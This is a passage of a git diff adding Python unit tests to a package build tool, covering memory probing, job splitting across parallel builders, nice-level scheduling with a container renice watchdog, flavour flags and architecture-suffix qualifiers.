b/tests/test_memory.py @@ -140,12 +140,34 @@ def test_linux_returns_zero_on_error(self, _mock_sys): @patch("subprocess.check_output") @patch("platform.system", return_value="Darwin") - def test_darwin_sums_free_and_inactive(self, _mock_sys, mock_sub): - # First call → vm_stat, second call → sysctl hw.pagesize - mock_sub.side_effect = [_VM_STAT_OUTPUT, "4096\n"] - mib = available_memory_mib() - # (512000 + 512000) * 4096 / 1024**2 = 4000 MiB - self.assertEqual(mib, 4000) + def test_darwin_physical_minus_used(self, _mock_sys, mock_sub): + # Reclaimable-inclusive: available = physical - (anon + wired + compress). + # calls: vm_stat, sysctl hw.pagesize, sysctl hw.memsize + full = dedent("""\ + Mach Virtual Memory Statistics: (page size of 4096 bytes) + Pages free: 100000. + Pages active: 1000000. + Pages inactive: 400000. + Pages speculative: 50000. + Pages wired down: 256000. + Pages purgeable: 20000. + Anonymous pages: 512000. + File-backed pages: 900000. + Pages occupied by compressor: 256000. + """) + # physical 8388608000 B; used=(512000+256000+256000)*4096=4194304000 B + # available = 8388608000 - 4194304000 = 4000 MiB + mock_sub.side_effect = [full, "4096\n", "8388608000\n"] + self.assertEqual(available_memory_mib(), 4000) + + @patch("subprocess.check_output") + @patch("platform.system", return_value="Darwin") + def test_darwin_fallback_reclaimable_buckets(self, _mock_sys, mock_sub): + # Old/partial vm_stat without anon/compressor → sum reclaimable buckets: + # free+inactive+speculative+purgeable = 512000+512000+64000+0 = 1088000. + mock_sub.side_effect = [_VM_STAT_OUTPUT, "4096\n", "8388608000\n"] + # 1088000 * 4096 / 1024**2 = 4250 MiB + self.assertEqual(available_memory_mib(), 4250) @patch("platform.system", return_value="Windows") def test_unknown_platform_returns_zero(self, _mock_sys): @@ -279,6 +301,81 @@ def test_single_job_never_changed(self): jobs = effective_jobs(1, spec) self.assertEqual(jobs, 1) + # ── builders-aware CPU/load budget (P1) ────────────────────────────────── + + def test_builders_divide_cpu_no_hint(self): + # 32 jobs across 4 builders, no mem_per_job → 32 // 4 = 8 + spec = {"package": "zlib"} + self.assertEqual(effective_jobs(32, spec, builders=4), 8) + + def test_builders_default_one_unchanged(self): + # builders defaults to 1 → behaviour identical to the old signature + spec = {"package": "zlib"} + self.assertEqual(effective_jobs(32, spec), 32) + self.assertEqual(effective_jobs(32, spec, builders=1), 32) + + def test_builders_cpu_floor_at_one(self): + # more builders than jobs → never below 1 + spec = {"package": "zlib"} + self.assertEqual(effective_jobs(2, spec, builders=4), 1) + + def test_builders_divide_memory_budget(self): + # avail RAM is split across builders before the per-job division: + # cpu_cap = 32 // 4 = 8; memory_cap = floor((16384/4)*0.9/1024) = 3 + spec = {"package": "root", "mem_per_job": 1024} + with _avail(16384): + jobs = effective_jobs(32, spec, builders=4) + self.assertEqual(jobs, 3) + + def test_builders_cpu_cap_dominates_when_ram_ample(self): + # tiny footprint + lots of RAM → CPU share is the binding constraint + # cpu_cap = 32 // 2 = 16; memory_cap = floor((65536/2)*0.9/256) = 115 + spec = {"package": "boost", "mem_per_job": 256} + with _avail(65536): + jobs = effective_jobs(32, spec, builders=2) + self.assertEqual(jobs, 16) + + def test_builders_no_hint_detection_irrelevant(self): + # without mem_per_job the memory probe is never consulted + spec = {"package": "zlib"} + with _avail(0): + jobs = effective_jobs(16, spec, builders=4) + self.assertEqual(jobs, 4) + + # ── oversubscribe factor ───────────────────────────────────────────────── + + def test_oversubscribe_default_is_noop(self): + # factor 1.0 (default) is identical to the plain builder split. + spec = {"package": "zlib"} + self.assertEqual(effective_jobs(12, spec, builders=4), 3) + self.assertEqual(effective_jobs(12, spec, builders=4, oversubscribe=1.0), 3) + + def test_oversubscribe_raises_per_builder_share(self): + # 12 jobs, 4 builders, factor 1.5 → ceil(12*1.5/4) = ceil(4.5) = 5. + spec = {"package": "zlib"} + self.assertEqual(effective_jobs(12, spec, builders=4, oversubscribe=1.5), 5) + # 2 builders → ceil(18/2) = 9. + self.assertEqual(effective_jobs(12, spec, builders=2, oversubscribe=1.5), 9) + + def test_oversubscribe_clamped_to_requested(self): + # single builder (or factor large enough) never exceeds -j itself. + spec = {"package": "zlib"} + self.assertEqual(effective_jobs(12, spec, builders=1, oversubscribe=1.5), 12) + self.assertEqual(effective_jobs(12, spec, builders=2, oversubscribe=4.0), 12) + + def test_oversubscribe_below_one_ignored(self): + # factors < 1.0 are floored to 1.0 (never *under*-subscribe the split). + spec = {"package": "zlib"} + self.assertEqual(effective_jobs(12, spec, builders=4, oversubscribe=0.5), 3) + + def test_oversubscribe_does_not_scale_memory_cap(self): + # The memory cap must stay on the *max* builders, unscaled by the factor: + # cpu_cap = ceil(32*1.5/4) = 12, but memory_cap = floor((16384/4)*0.9/1024) = 3. + spec = {"package": "root", "mem_per_job": 1024} + with _avail(16384): + jobs = effective_jobs(32, spec, builders=4, oversubscribe=1.5) + self.assertEqual(jobs, 3) + if __name__ == "__main__": unittest.main() diff --git a/tests/test_new_args.py b/tests/test_new_args.py index 4223549d..eac8fef7 100644 --- a/tests/test_new_args.py +++ b/tests/test_new_args.py @@ -7,10 +7,12 @@ - Backward compatibility: omitting new flags leaves existing defaults unchanged """ import sys +import types import unittest from unittest.mock import patch -from bits_helpers.args import doParseArgs +from bits_helpers.args import doParseArgs, _parse_flavours +from bits_helpers.utilities import filterByArchitectureDefaults # Shared architecture that passes validation checks. _ARCH = "slc7_x86-64" @@ -156,6 +158,93 @@ def test_backward_compat_existing_publish_args(self): self.assertEqual(args.scratchDir, "/tmp/bits-scratch") +class AutoResourcesFlagTest(unittest.TestCase): + """--auto-resources opts in to the measurement-driven --builders scheduler.""" + + def test_off_by_default(self): + args = _parse(["build", "-a", _ARCH, "--builders", "8", "LCG"]) + self.assertFalse(getattr(args, "autoResources", False)) + + def test_enabled_with_flag(self): + args = _parse(["build", "-a", _ARCH, "--builders", "8", + "--auto-resources", "LCG"]) + self.assertTrue(args.autoResources) + + def test_independent_of_explicit_resource_flags(self): + # --resources keeps its own default (None) and is unaffected. + args = _parse(["build", "-a", _ARCH, "--builders", "8", "LCG"]) + self.assertIsNone(args.resources) + + # finaliseArgs downgrades resourceMonitoring to False when psutil is not + # importable, so the "enabled" cases stub psutil into sys.modules to stay + # deterministic on hosts that don't have it installed. + def test_resource_monitoring_on_by_default_parallel(self): + # --builders > 1 enables per-package resource monitoring by default. + with patch.dict(sys.modules, {"psutil": types.ModuleType("psutil")}): + args = _parse(["build", "-a", _ARCH, "--builders", "8", "LCG"]) + self.assertTrue(args.resourceMonitoring) + + def test_resource_monitoring_off_by_default_serial(self): + # Serial builds (--builders 1, the default) leave monitoring off. + args = _parse(["build", "-a", _ARCH, "LCG"]) + self.assertFalse(args.resourceMonitoring) + + def test_resource_monitoring_explicit_opt_out(self): + # --no-resource-monitoring disables it even in parallel mode. + args = _parse(["build", "-a", _ARCH, "--builders", "8", + "--no-resource-monitoring", "LCG"]) + self.assertFalse(args.resourceMonitoring) + + def test_resource_monitoring_explicit_opt_in_serial(self): + # --resource-monitoring forces it on even for a serial build. + with patch.dict(sys.modules, {"psutil": types.ModuleType("psutil")}): + args = _parse(["build", "-a", _ARCH, "--resource-monitoring", "LCG"]) + self.assertTrue(args.resourceMonitoring) + + def test_resource_monitoring_downgraded_without_psutil(self): + # Without psutil, even an explicit request is downgraded to False. + with patch.dict(sys.modules, {"psutil": None}): + args = _parse(["build", "-a", _ARCH, "--resource-monitoring", "LCG"]) + self.assertFalse(args.resourceMonitoring) + + +class FlavourFlagTest(unittest.TestCase): + """--flavour parsing and how flavours gate (?NAME) conditional requires.""" + + def test_parse_forms(self): + # bare -> true, !name -> false, name=value -> value + self.assertEqual(_parse_flavours(["cuda", "!debug", "onnx=cpu"]), + {"cuda": "true", "debug": "false", "onnx": "cpu"}) + + def test_parse_comma_and_precedence(self): + # comma-separated within one token; later entry wins on a repeated name + self.assertEqual(_parse_flavours(["cuda,onnx=cpu", "onnx=gpu"]), + {"cuda": "true", "onnx": "gpu"}) + + def test_parse_trims_and_skips_empty(self): + self.assertEqual(_parse_flavours([" cuda , ", "a = b", ""]), + {"cuda": "true", "a": "b"}) + + def test_cli_end_to_end(self): + args = _parse(["build", "-a", _ARCH, "--flavour", "cuda", + "--flavour", "onnx=cpu,debug=off", "key4hep"]) + self.assertEqual(args.flavours, {"cuda": "true", "onnx": "cpu", "debug": "off"}) + + def test_default_empty(self): + args = _parse(["build", "-a", _ARCH, "key4hep"]) + self.assertEqual(args.flavours, {}) + + def test_flavour_gates_conditional_require(self): + # A flavour in the vars dict activates "(?cuda)"; absent/falsey excludes it. + reqs = ["ROOT", "cudnn:(?cuda)"] + on = list(filterByArchitectureDefaults(_ARCH, ["dev"], reqs, _parse_flavours(["cuda"]))) + self.assertIn("cudnn", on) + off = list(filterByArchitectureDefaults(_ARCH, ["dev"], reqs, _parse_flavours(["!cuda"]))) + self.assertNotIn("cudnn", off) + none = list(filterByArchitectureDefaults(_ARCH, ["dev"], reqs, {})) + self.assertNotIn("cudnn", none) + + class BackwardCompatBuildTest(unittest.TestCase): """Existing build argument combinations are completely unaffected.""" diff --git a/tests/test_nice_ladder.py b/tests/test_nice_ladder.py new file mode 100644 index 00000000..b44947e0 --- /dev/null +++ b/tests/test_nice_ladder.py @@ -0,0 +1,222 @@ +"""Tests for bits_helpers/nice_ladder.py (optional --build-nice scheduling).""" + +import os +import re +import shlex +import subprocess +import time +import unittest + +from bits_helpers.nice_ladder import NiceLadder, cpu_shares_for_nice, ReniceWatchdog + +try: + import psutil +except Exception: # pragma: no cover + psutil = None + + +class TestNiceLadder(unittest.TestCase): + + def test_levels_lowest_first_with_step(self): + lad = NiceLadder(4, step=5) + levels = [] + tokens = [] + for _ in range(4): + t, lvl = lad.acquire() + tokens.append(t) + levels.append(lvl) + # slots 0..3 -> 0,5,10,15 + self.assertEqual(levels, [0, 5, 10, 15]) + + def test_gentle_step_one(self): + lad = NiceLadder(4, step=1) + levels = [lad.acquire()[1] for _ in range(4)] + self.assertEqual(levels, [0, 1, 2, 3]) + + def test_clamped_to_maxnice(self): + lad = NiceLadder(6, step=5, maxnice=19) + levels = [lad.acquire()[1] for _ in range(6)] + # 0,5,10,15,19(20 clamped),19(25 clamped) + self.assertEqual(levels, [0, 5, 10, 15, 19, 19]) + + def test_release_frees_lowest_slot_for_reuse(self): + lad = NiceLadder(3, step=5) + t0, l0 = lad.acquire() # slot 0 -> 0 + t1, l1 = lad.acquire() # slot 1 -> 5 + self.assertEqual((l0, l1), (0, 5)) + lad.release(t0) # free the lead slot + t2, l2 = lad.acquire() # next build takes over the freed lead slot + self.assertEqual(l2, 0) + + def test_exhaustion_returns_maxnice_not_crash(self): + lad = NiceLadder(1, step=5) + _t0, l0 = lad.acquire() # only slot + tok, lvl = lad.acquire() # pool empty + self.assertEqual((tok, lvl), (None, 19)) + lad.release(tok) # releasing the None token is a no-op + lad.release(tok) + + def test_double_release_is_idempotent(self): + lad = NiceLadder(2, step=5) + t, _ = lad.acquire() + lad.release(t) + lad.release(t) # must not duplicate the slot + levels = [lad.acquire()[1] for _ in range(2)] + self.assertEqual(sorted(levels), [0, 5]) + + def test_command_wrapping_is_valid_shell(self): + # mirror the native wrapping done in runBuildCommand + cmd = "env A=b bash -e -x /work/build.sh 2>&1" + wrapped = "nice -n %d /bin/sh -c %s" % (10, shlex.quote(cmd)) + # the quoted payload round-trips back to the original command + toks = shlex.split(wrapped) + self.assertEqual(toks[:3], ["nice", "-n", "10"]) + self.assertEqual(toks[3:5], ["/bin/sh", "-c"]) + self.assertEqual(toks[5], cmd) + + +class TestCpuShares(unittest.TestCase): + + def test_nice_zero_is_docker_default(self): + self.assertEqual(cpu_shares_for_nice(0), 1024) + + def test_monotonically_decreasing(self): + seq = [cpu_shares_for_nice(n) for n in range(0, 20)] + self.assertTrue(all(a >= b for a, b in zip(seq, seq[1:]))) + + def test_mirrors_cfs_weight_table(self): + # ~1.25x per nice step (0.8 factor): rough checkpoints + self.assertEqual(cpu_shares_for_nice(5), 336) + self.assertEqual(cpu_shares_for_nice(10), 110) + self.assertEqual(cpu_shares_for_nice(15), 36) + + def test_floored_at_docker_minimum(self): + self.assertGreaterEqual(cpu_shares_for_nice(100), 2) + + def test_injection_into_docker_run(self): + # mirror the re.subn injection in runBuildCommand + cmd = ("docker run --rm --entrypoint= --user 1:1 -v /w:/w " + "img bash -ex /build.sh") + shares = cpu_shares_for_nice(5) + out, n = re.subn(r'\b(docker|podman)\s+run\s', + r'\1 run --cpu-shares=%d ' % shares, cmd, count=1) + self.assertEqual(n, 1) + self.assertIn("docker run --cpu-shares=336 --rm", out) + + def test_injection_matches_podman_too(self): + cmd = "podman run --rm img bash -ex /build.sh" + out, n = re.subn(r'\b(docker|podman)\s+run\s', + r'\1 run --cpu-shares=%d ' % 110, cmd, count=1) + self.assertEqual(n, 1) + self.assertTrue(out.startswith("podman run --cpu-shares=110 --rm")) + + +@unittest.skipIf(psutil is None, "psutil not available") +class TestReniceWatchdog(unittest.TestCase): + + def _spawn(self, nice_value): + p = subprocess.Popen(["sleep", "30"], preexec_fn=lambda: os.nice(nice_value)) + self.addCleanup(p.terminate) + return p + + def test_detects_niced_straggler_and_ignores_lead(self): + niced = self._spawn(10) + lead = self._spawn(0) + w = ReniceWatchdog(boost_after=1, interval=100, target_nice=0) + time.sleep(1.3) # exceed boost_after + pids = {p.pid for (p, _, _) in w._candidates()} + self.assertIn(niced.pid, pids) # backed-off build is a candidate + self.assertNotIn(lead.pid, pids) # nice-0 lead is never boosted + + def test_below_threshold_is_not_a_candidate(self): + niced = self._spawn(10) + w = ReniceWatchdog(boost_after=3600, interval=100, target_nice=0) + time.sleep(0.3) + pids = {p.pid for (p, _, _) in w._candidates()} + self.assertNotIn(niced.pid, pids) # too young to boost yet + + def test_boost_is_graceful(self): + # Boosting must never raise: returns False where raising priority is + # not permitted (unprivileged), True where it is (root/CAP_SYS_NICE). + niced = self._spawn(10) + w = ReniceWatchdog(boost_after=1, target_nice=0) + time.sleep(1.3) + result = w._boost(psutil.Process(niced.pid)) + self.assertIn(result, (True, False)) + if result: + self.assertLessEqual(psutil.Process(niced.pid).nice(), 0) + + +class TestReniceWatchdogDocker(unittest.TestCase): + """In-container straggler boosting via `docker exec renice` (no real docker + needed: the docker_exec callable is injected).""" + + # A fake `ps -eo pid=,etimes=,comm=` listing inside a build container: + # a long g++ back-end (cc1plus), a fresh one, and a non-compiler shell. + PS_OUTPUT = " 17 900 cc1plus\n 42 30 cc1plus\n 1 905 sh\n 18 902 make\n" + + def _watchdog(self, ps_output=None): + self.calls = [] + out = self.PS_OUTPUT if ps_output is None else ps_output + + def fake_exec(cmd): + self.calls.append(cmd) + if "ps" in cmd: + return 0, out, "" + return 0, "", "" # renice (or anything else) succeeds + + return ReniceWatchdog(boost_after=600, interval=100, + docker_boost_nice=-10, docker_exec=fake_exec) + + def test_proc_candidate_is_long_compiler_only(self): + w = self._watchdog() + w.register_container("bits-build-root-abcd", "docker") + # Container younger than boost_after -> no exec, no candidates. + self.assertEqual(w._docker_proc_candidates(), []) + # Age the container past the threshold. + for v in w._containers.values(): + v["start"] -= 1000 + cands = w._docker_proc_candidates() + pids = {pid for (_, _, pid, _, _) in cands} + # Only the long-running compiler (pid 17, etimes 900) qualifies: + # pid 42 too young, sh/make are not compilers. + self.assertEqual(pids, {17}) + + def test_run_issues_docker_exec_renice_to_boost_nice(self): + w = self._watchdog() + w.register_container("bits-build-acts-1234", "podman") + ok = w._renice_in_container("bits-build-acts-1234", "podman", 17) + self.assertTrue(ok) + self.assertIn( + ["podman", "exec", "--user", "0", "bits-build-acts-1234", + "renice", "-n", "-10", "-p", "17"], + self.calls) + + def test_handled_proc_not_recandidated(self): + w = self._watchdog() + w.register_container("c1", "docker") + for v in w._containers.values(): + v["start"] -= 1000 + w._handled.add(("c1", 17)) + pids = {pid for (_, _, pid, _, _) in w._docker_proc_candidates()} + self.assertNotIn(17, pids) + + def test_missing_ps_disables_docker_path_with_warning(self): + logs = [] + # ps not installed in the image: docker exec returns 126/127. + w = ReniceWatchdog(boost_after=600, interval=100, docker_boost_nice=-10, + log=lambda fmt, *a: logs.append(fmt % a if a else fmt), + docker_exec=lambda cmd: (127, "", 'exec: "ps": executable file not found')) + w.register_container("c1", "docker") + for v in w._containers.values(): + v["start"] -= 1000 + self.assertEqual(w._docker_proc_candidates(), []) + self.assertTrue(w._docker_disabled) # disabled after detection + self.assertTrue(any("procps" in l for l in logs)) # warned about procps + # subsequent scans short-circuit and do not exec again + self.calls_before = None + self.assertEqual(w._docker_proc_candidates(), []) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_packagelist.py b/tests/test_packagelist.py index a279cd60..910a6d27 100644 --- a/tests/test_packagelist.py +++ b/tests/test_packagelist.py @@ -163,6 +163,10 @@ def test_replacement_recipe_given(self) -> None: self.assertIn("with-replacement-recipe", specs) self.assertIn("recipe", specs["with-replacement-recipe"]) self.assertEqual("true", specs["with-replacement-recipe"]["recipe"]) + # The replacement must carry pkgdir from the original spec, otherwise + # doBuild raises KeyError: 'pkgdir' when building it (e.g. a Homebrew + # shim selected on macOS). + self.assertIn("pkgdir", specs["with-replacement-recipe"]) # If the replacement spec has a recipe, report to the user that we're # compiling the package. self.assertNotIn("with-replacement-recipe", systemPkgs) diff --git a/tests/test_qualify_arch.py b/tests/test_qualify_arch.py index 9d7b50fd..220aadc7 100644 --- a/tests/test_qualify_arch.py +++ b/tests/test_qualify_arch.py @@ -1,7 +1,9 @@ -"""Tests for the qualify_arch defaults-file field. +"""Tests for the qualify_arch / append_arch defaults-file fields. Covers: - compute_combined_arch() helper: all branching paths + - Legacy qualify_arch behaviour (backward-compatible) + - New per-default append_arch behaviour - Integration with effective_arch(): shared packages are unaffected - _pkg_install_path() with a combined architecture string - generate_initdotsh() BITS_ARCH_PREFIX default uses combined arch @@ -141,6 +143,154 @@ def test_does_not_mutate_meta(self): self.assertEqual(meta, {"qualify_arch": True}) +# --------------------------------------------------------------------------- +# Tests for the per-default append_arch mechanism +# --------------------------------------------------------------------------- + +class TestAppendArch(unittest.TestCase): + """Per-default append_arch: only explicit values are added to the arch.""" + + # The append_arch value is appended VERBATIM -- no separator is assumed, so + # the value carries its own ('-gcc13', '_gcc15') or none at all ('dbg'). + + # -- single default with append_arch -------------------------------------- + + def test_single_append_arch_uses_value_not_name(self): + """append_arch value is appended, not the default name.""" + meta = {"_append_arch_qualifiers": ["-gcc13"]} + self.assertEqual( + compute_combined_arch(meta, ["gcc13-defaults"], RAW_ARCH), + "slc7_x86-64-gcc13", + ) + + def test_append_arch_value_differs_from_default_name(self): + """The value in append_arch is used verbatim, even if different from + the default filename.""" + meta = {"_append_arch_qualifiers": ["-opt-lto"]} + self.assertEqual( + compute_combined_arch(meta, ["optimised"], RAW_ARCH), + "slc7_x86-64-opt-lto", + ) + + # -- chained defaults, selective opt-in ----------------------------------- + + def test_only_defaults_with_append_arch_contribute(self): + """Defaults without append_arch are transparent to the arch suffix.""" + # defaults chain: release::gcc13::cuda + # only gcc13 and cuda have append_arch; release does not + meta = {"_append_arch_qualifiers": ["-gcc13", "-cuda"]} + self.assertEqual( + compute_combined_arch(meta, ["release", "gcc13", "cuda"], RAW_ARCH), + "slc7_x86-64-gcc13-cuda", + ) + + def test_single_opt_in_among_many(self): + """Only one default in a long chain opts in.""" + meta = {"_append_arch_qualifiers": ["-mpi"]} + self.assertEqual( + compute_combined_arch(meta, ["release", "gcc13", "mpi"], RAW_ARCH), + "slc7_x86-64-mpi", + ) + + def test_order_follows_chain_order(self): + """Qualifiers appear in the same order as the defaults chain.""" + meta = {"_append_arch_qualifiers": ["-aaa", "-bbb", "-ccc"]} + result = compute_combined_arch(meta, ["a", "b", "c"], RAW_ARCH) + self.assertEqual(result, "slc7_x86-64-aaa-bbb-ccc") + + # -- separator lives in the value, never assumed -------------------------- + + def test_value_with_leading_dash_is_verbatim(self): + """A value carrying its own '-' is appended as-is.""" + meta = {"_append_arch_qualifiers": ["-gcc15-dbg"]} + self.assertEqual( + compute_combined_arch(meta, ["gcc15"], RAW_ARCH), + "slc7_x86-64-gcc15-dbg", + ) + + def test_value_with_leading_underscore_is_verbatim(self): + """The joiner is not assumed to be '-': '_gcc15' yields an '_' separator.""" + meta = {"_append_arch_qualifiers": ["_gcc15"]} + self.assertEqual( + compute_combined_arch(meta, ["gcc15"], RAW_ARCH), + "slc7_x86-64_gcc15", + ) + + def test_bare_value_is_glued_without_separator(self): + """No separator is injected: a bare value is concatenated directly.""" + meta = {"_append_arch_qualifiers": ["dbg"]} + self.assertEqual( + compute_combined_arch(meta, ["dbg"], RAW_ARCH), + "slc7_x86-64dbg", + ) + + def test_mixed_separators_concatenate(self): + """Each value contributes exactly what it carries -- '-', '_', or none.""" + meta = {"_append_arch_qualifiers": ["-dev", "_gcc15", "cuda"]} + self.assertEqual( + compute_combined_arch(meta, ["a", "b", "c"], RAW_ARCH), + "slc7_x86-64-dev_gcc15cuda", + ) + + # -- no opt-in → raw arch ------------------------------------------------- + + def test_empty_qualifiers_list_returns_raw(self): + """_append_arch_qualifiers present but empty → raw arch (falsy guard).""" + meta = {"_append_arch_qualifiers": []} + self.assertEqual( + compute_combined_arch(meta, ["dev"], RAW_ARCH), + RAW_ARCH, + ) + + def test_absent_qualifiers_falls_through_to_qualify_arch(self): + """Without _append_arch_qualifiers the legacy qualify_arch path is used.""" + meta = {"qualify_arch": True} + self.assertEqual( + compute_combined_arch(meta, ["dev", "gcc13"], RAW_ARCH), + "slc7_x86-64-dev-gcc13", + ) + + # -- append_arch takes precedence over qualify_arch ----------------------- + + def test_append_arch_takes_precedence_over_qualify_arch(self): + """When both are present append_arch values are used, not default names.""" + meta = { + "qualify_arch": True, + "_append_arch_qualifiers": ["-mpi"], + } + # qualify_arch would produce "slc7_x86-64-dev-mpi-defaults" + # append_arch should produce "slc7_x86-64-mpi" (value only) + result = compute_combined_arch(meta, ["dev", "mpi-defaults"], RAW_ARCH) + self.assertEqual(result, "slc7_x86-64-mpi") + + # -- idempotency / no mutation -------------------------------------------- + + def test_does_not_mutate_meta(self): + meta = {"_append_arch_qualifiers": ["gcc13"]} + compute_combined_arch(meta, ["gcc13"], RAW_ARCH) + self.assertEqual(meta, {"_append_arch_qualifiers": ["gcc13"]}) + + def test_does_not_mutate_qualifiers_list(self): + qualifiers = ["gcc13", "cuda"] + meta = {"_append_arch_qualifiers": qualifiers} + compute_combined_arch(meta, ["gcc13", "cuda"], RAW_ARCH) + self.assertEqual(qualifiers, ["gcc13", "cuda"]) + + # -- interaction with effective_arch() ------------------------------------ + + def test_regular_pkg_uses_append_arch_combined(self): + meta = {"_append_arch_qualifiers": ["-gcc13"]} + combined = compute_combined_arch(meta, ["gcc13"], RAW_ARCH) + spec = _spec("MyPkg") + self.assertEqual(effective_arch(spec, combined), "slc7_x86-64-gcc13") + + def test_shared_pkg_ignores_append_arch_combined(self): + meta = {"_append_arch_qualifiers": ["-gcc13"]} + combined = compute_combined_arch(meta, ["gcc13"], RAW_ARCH) + spec = _spec("SharedPkg", architecture=SHARED_ARCH) + self.assertEqual(effective_arch(spec, combined), SHARED_ARCH) + + # --------------------------------------------------------------------------- # Interaction with effective_arch() # --------------------------------------------------------------------------- diff --git a/tests/test_repo_provider.py b/tests/test_repo_provider.py index 34801f2c..b58f8524 100644 --- a/tests/test_repo_provider.py +++ b/tests/test_repo_provider.py @@ -22,7 +22,9 @@ _add_to_bits_path, _provider_cache_root, _try_read_spec, + bootstrap_default_config, clone_or_update_provider, + cwd_is_recipe_dir, fetch_repo_providers_iteratively, ) from bits_helpers.utilities import getConfigPaths, getPackageList @@ -645,7 +647,302 @@ def test_top_level_pkg_not_tagged_as_provider_sourced(self): # ╔══════════════════════════════════════════════════════════════════════════╗ -# ║ 6. storeHashes – provider hash folded in ║ +# ║ 6. cwd_is_recipe_dir ║ +# ╚══════════════════════════════════════════════════════════════════════════╝ + +class TestCwdIsRecipeDir(unittest.TestCase): + """Unit tests for the CWD recipe-directory detector.""" + + def setUp(self): + self.tmp = tempfile.mkdtemp() + self._orig_cwd = os.getcwd() + os.chdir(self.tmp) + + def tearDown(self): + os.chdir(self._orig_cwd) + shutil.rmtree(self.tmp, ignore_errors=True) + + def _write(self, name, content=""): + with open(os.path.join(self.tmp, name), "w") as fh: + fh.write(content) + + def test_empty_directory_returns_false(self): + self.assertFalse(cwd_is_recipe_dir()) + + def test_only_package_recipes_without_defaults_returns_false(self): + """Random recipe files are not enough — defaults-release.sh is required.""" + self._write("ROOT.sh", "package: ROOT\nversion: v6\n---\n: build\n") + self._write("zlib.sh", "package: zlib\nversion: v1\n---\n: build\n") + self.assertFalse(cwd_is_recipe_dir()) + + def test_defaults_release_sh_returns_true(self): + """Presence of defaults-release.sh is the definitive marker.""" + self._write("defaults-release.sh", "package: defaults-release\nversion: v1\n---\n") + self.assertTrue(cwd_is_recipe_dir()) + + def test_defaults_release_sh_alongside_other_recipes_returns_true(self): + """A realistic recipe repo with multiple recipes plus defaults-release.sh.""" + self._write("defaults-release.sh", "package: defaults-release\nversion: v1\n---\n") + self._write("ROOT.sh", "package: ROOT\nversion: v6\n---\n: build\n") + self._write("zlib.sh", "package: zlib\nversion: v1\n---\n: build\n") + self.assertTrue(cwd_is_recipe_dir()) + + def test_no_sh_files_returns_false(self): + self._write("README.md", "# hello\n") + self._write("build.py", "print('hi')\n") + self.assertFalse(cwd_is_recipe_dir()) + + def test_similarly_named_file_does_not_match(self): + """defaults-release-extra.sh or xdefaults-release.sh must not match.""" + self._write("defaults-release-extra.sh", "package: x\nversion: v1\n---\n") + self._write("xdefaults-release.sh", "package: y\nversion: v1\n---\n") + self.assertFalse(cwd_is_recipe_dir()) + + +# ╔══════════════════════════════════════════════════════════════════════════╗ +# ║ 7. bootstrap_default_config ║ +# ╚══════════════════════════════════════════════════════════════════════════╝ + +class TestBootstrapDefaultConfig(unittest.TestCase): + """Unit tests for the backward-compat auto-bootstrap in bootstrap_default_config.""" + + # Minimal args mock + @staticmethod + def _make_args(bits_providers="https://github.com/bitsorg/bits-providers", + organisation=None): + args = MagicMock() + args.bits_providers = bits_providers + args.organisation = organisation + args.referenceSources = "" + args.fetchRepos = False + return args + + # A minimal default.bits.sh recipe text + _DEFAULT_SH = dedent("""\ + package: default.bits + version: "1" + tag: main + provides_repository: true + source: https://github.com/bitsorg/alice.bits + --- + """) + + # A minimal common.bits.sh so that parseRecipe doesn't complain about requires + _BITS_PROVIDERS_SH = dedent("""\ + package: bits-providers + version: "1" + source: https://github.com/bitsorg/bits-providers + tag: main + provides_repository: true + always_load: true + --- + """) + + def _make_clone_side_effect(self, providers_checkout, config_checkout): + """Return a side_effect that alternates checkouts per call.""" + calls = iter([ + (providers_checkout, "abc123"), + (config_checkout, "def456"), + ]) + return lambda *a, **kw: next(calls) + + @patch("bits_helpers.repo_provider.info") # avoid LogFormatter double-format bug + @patch("bits_helpers.repo_provider.clone_or_update_provider") + @patch("bits_helpers.repo_provider.parseRecipe") + @patch("bits_helpers.repo_provider.getRecipeReader") + @patch("bits_helpers.repo_provider.exists") # module-level name, not os.path.exists + def test_returns_config_checkout_when_default_sh_found( + self, mock_exists, mock_reader, mock_parse, mock_clone, _info, + ): + """Happy path: bits-providers has default.bits.sh → returns config checkout.""" + providers_checkout = "/work/REPOS/bits-providers/abc1234567" + config_checkout = "/work/REPOS/default.bits/def4567890" + + # exists() returns True only for the default.bits.sh path + mock_exists.side_effect = lambda p: p.endswith("default.bits.sh") + mock_reader.return_value = "reader" + mock_parse.return_value = ( + None, + OrderedDict({ + "package": "default.bits", + "version": "1", + "tag": "main", + "provides_repository": True, + "source": "https://github.com/bitsorg/alice.bits", + }), + {}, + ) + mock_clone.side_effect = self._make_clone_side_effect( + providers_checkout, config_checkout, + ) + + result = bootstrap_default_config(self._make_args(), "/work") + + self.assertEqual(result, config_checkout) + self.assertEqual(mock_clone.call_count, 2) + + @patch("bits_helpers.repo_provider.info") # avoid LogFormatter double-format bug + @patch("bits_helpers.repo_provider.clone_or_update_provider") + @patch("bits_helpers.repo_provider.exists", return_value=False) + def test_returns_none_when_no_default_sh(self, mock_exists, mock_clone, _info): + """When default.bits.sh is absent, returns None without cloning config.""" + providers_checkout = "/work/REPOS/bits-providers/abc1234567" + mock_clone.return_value = (providers_checkout, "abc123") + + result = bootstrap_default_config(self._make_args(), "/work") + + self.assertIsNone(result) + # Only the bits-providers clone should have been attempted + self.assertEqual(mock_clone.call_count, 1) + + def test_returns_none_when_no_bits_providers_url(self): + """When args.bits_providers is falsy, returns None immediately.""" + args = self._make_args(bits_providers="") + result = bootstrap_default_config(args, "/work") + self.assertIsNone(result) + + @patch("bits_helpers.repo_provider.warning") # avoid LogFormatter double-format bug + @patch("bits_helpers.repo_provider.clone_or_update_provider", + side_effect=SystemExit(1)) + def test_returns_none_when_bits_providers_clone_fails(self, mock_clone, _warn): + """A clone failure for bits-providers is caught and returns None.""" + result = bootstrap_default_config(self._make_args(), "/work") + self.assertIsNone(result) + + @patch("bits_helpers.repo_provider.warning") # avoid LogFormatter double-format bug + @patch("bits_helpers.repo_provider.info") + @patch("bits_helpers.repo_provider.clone_or_update_provider") + @patch("bits_helpers.repo_provider.parseRecipe") + @patch("bits_helpers.repo_provider.getRecipeReader") + @patch("bits_helpers.repo_provider.exists") # module-level name, not os.path.exists + def test_returns_none_when_config_clone_fails( + self, mock_exists, mock_reader, mock_parse, mock_clone, _info, _warn, + ): + """A clone failure for the default config repo is caught and returns None.""" + providers_checkout = "/work/REPOS/bits-providers/abc1234567" + mock_exists.side_effect = lambda p: p.endswith("default.bits.sh") + mock_reader.return_value = "reader" + mock_parse.return_value = ( + None, + OrderedDict({ + "package": "default.bits", + "version": 